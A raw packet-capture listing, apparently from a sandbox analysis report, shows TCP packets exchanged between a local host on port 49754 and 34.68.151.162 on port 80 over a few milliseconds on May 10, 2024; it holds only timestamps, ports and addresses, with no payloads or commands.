May 10, 2024 09:20:58.120676994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120686054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120697975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120706081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120709896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120722055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120729923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120753050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120826960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120839119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120851994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120862961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120884895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120937109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121340036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121362925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121372938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121391058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121397972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121404886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121417999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121421099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121429920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121442080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121448040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121454000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121465921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121478081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121479988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121490955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121501923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121509075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121512890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121524096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121536016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121536970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121547937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121561050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121567011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121572971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121587038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121589899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121598959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121611118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121615887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121623039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121634960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121645927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121649027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121659040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121674061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121680975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121685982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121697903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121700048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121710062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121716976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121723890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121736050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121747017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121748924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121759892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121764898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121786118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121798992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121805906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121809959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121820927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121834040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121844053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121845007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121857882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121866941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121870995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121882915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121901035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121902943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121912956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121923923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121934891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121944904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121957064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121961117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.121969938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121980906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.121982098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122005939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122018099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122019053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122029066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122040033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122051001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122056961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122061968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122071028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122073889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122086048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122095108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122097969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122109890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122112036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122122049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122147083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122147083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122159004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122170925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122179985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122184038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122199059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122204065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122210979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122221947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122232914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122245073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122251034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122256994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122268915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122279882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122283936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122297049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122303963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122330904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122472048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122678995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122704029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122711897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122715950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122729063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122740030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122751951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122755051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122762918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122776031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122778893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122787952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122792959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122801065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122812986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122823954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122826099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122834921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122847080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122847080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122860909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122860909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122874022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122884989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122891903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122896910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122910023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122915983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122921944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122935057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122940063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122950077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122962952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122962952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.122976065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122987032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122997999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.122998953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123011112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123023033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123028994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123035908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123043060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123048067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123059034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123070955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123075008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123084068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123095036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123099089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123107910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123116016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123120070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123131990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123138905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123145103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123157024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123162985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123168945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123181105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123191118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123198986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123203993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123214960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123218060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123231888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123236895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123245001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123258114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123261929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123270035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123281956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123294115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123301983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123307943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123311043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123320103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123332024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123339891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123342991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123356104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123367071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123373985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123378992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123389959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123399973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123403072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123416901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123419046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123429060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123436928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123440981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123452902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123460054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123464108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123476028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123478889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123488903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123501062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123512030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123512983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123523951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123524904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123538017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123548985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123559952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123567104 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123572111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123584986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123589993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123599052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123605013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123610973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123622894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123630047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123635054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123646975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123652935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123657942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123671055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123682022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123688936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123694897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123707056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123708963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123719931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123725891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123733044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123744965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123748064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123756886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123771906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123784065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123785973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123799086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123802900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123812914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123823881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123835087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123835087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123847008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123858929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123867035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123871088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123883009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123888969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123895884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123903036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.123909950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.123940945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124356985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124370098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124382019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124392986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124404907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124404907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124418020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124429941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124444008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124532938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124545097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124556065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124578953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124582052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124592066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124602079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124604940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124617100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124624014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124629974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124641895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124653101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124653101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124665976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124679089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124689102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124691010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124702930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124710083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124716997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124728918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124735117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124753952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124758005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124767065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124778986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124789000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124790907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124803066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124814034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124824047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124825001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124835014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124838114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124852896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124864101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124874115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124880075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124880075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124886990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124898911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124911070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124918938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124922991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124936104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124943018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124948025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124959946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124963999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124972105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124983072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.124985933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.124996901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.125005007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.125010014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.125020981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.125031948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.125036955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.125056982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.125062943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.125071049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.125082970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.125093937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.125096083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.125118971 CEST	49754	80	192.168.2.4	34.68.151.162
